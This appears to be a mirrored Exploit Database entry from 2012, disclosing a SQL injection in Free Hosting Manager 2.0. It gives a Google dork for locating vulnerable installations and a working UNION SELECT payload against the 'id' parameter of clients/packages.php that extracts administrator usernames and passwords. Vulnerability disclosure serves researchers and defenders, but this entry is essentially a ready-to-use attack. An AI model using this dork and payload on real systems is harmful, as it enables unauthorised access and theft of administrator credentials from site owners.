Free Hosting Manager 2.0 – ‘id’ SQL Injection

• Exploit Database
• 15 阅读

• 作者： Yakir Wizman
  日期： 2012-11-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/23028/

• ##########################################################################
  ## Free Hosting Manager V2.0 SQL Injection Vulnerability
  ## Google Dork: inurl:clients/packages.php?id=1
  ## Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
  ## Date: 29/11/2012
  ## Version: 2.0
  ## Software Link: http://www.fhm-script.com/download.php
  ## ISRAEL
  ##########################################################################
  ##Author will be not responsible for any damage.
  ##########################################################################
  ## SQL Injection PoC:
  ## http://www.example.com/clients/packages.php?id=-1'+UNION+ALL+SELECT+1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+adminusers%23
  ##########################################################################
  # 0x31337.net
  ##########################################################################